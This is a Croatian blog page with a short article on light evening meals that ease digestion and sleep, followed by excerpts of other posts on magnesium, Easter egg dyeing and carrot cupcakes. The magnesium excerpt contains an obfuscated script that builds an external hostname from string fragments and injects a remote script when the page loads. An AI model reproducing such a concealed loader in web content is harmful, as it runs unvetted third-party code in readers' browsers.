ŠTO JESTI NAVEČER DA ZASPITE LAKŠE I PROBUDITE SE BEZ TEŽINE U ŽELUCU





Što jesti navečer da zaspite lakše i probudite se bez težine u želucu 




Ako ste se ikad probudili usred noći s osjećajem težine u želucu, žgaravicom ili nadutošću, velika je vjerojatnost da krivac nije stres, nego večera. Kasni obroci puni masne hrane, pržene hrane ili slatkiša usporavaju probavu upravo onda kada se tijelo pokušava odmoriti. Umjesto sna, želudac dobiva dodatni posao. Rezultat? Nemiran san i umor već ujutro. Zato nutricionisti već godinama savjetuju isto pravilo: navečer birajte lagano, jednostavno i umjereno.





Zašto teška hrana remeti san?

Tijekom noći metabolizam se prirodno usporava. Teška hrana:
  • dulje ostaje u želucu
  • potiče žgaravicu i refluks
  • može uzrokovati nadutost
  • otežava dubok san
Posebno problematične mogu biti masne večere, brza hrana, slatkiši i obilne porcije neposredno prije spavanja.


 
Što jesti navečer da ne opteretite želudac?

Stručnjaci preporučuju jednostavne kombinacije koje se lakše probavljaju i ne stvaraju osjećaj težine.
 
Lagani proteini
 
Kuhana jaja, svježi sir, jogurt ili komad piletine daju sitost bez preopterećenja.

 
Kuhano ili pirjano povrće
 
Tikvice, mrkva, blitva ili brokula lakše se probavljaju od sirovih salata.

 
Zobene pahuljice ili banana
 
Male količine složenih ugljikohidrata mogu pomoći osjećaju opuštenosti i sitosti prije spavanja.

 
Juhe i variva
 
Topla povrtna juha ili lagani temeljac često su idealna večernja opcija – zasite, a ne opterećuju.

 
Kada jesti posljednji obrok?
 
Osim što jedete, važno je i kada jedete. Preporuka je završiti večeru barem dva do tri sata prije odlaska na spavanje. Tako probava ima vremena odraditi svoj dio posla prije nego legnete.


 
Manje je zapravo više
Večera ne mora biti obilna da biste bili siti. Često je dovoljna manja porcija lagane hrane.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više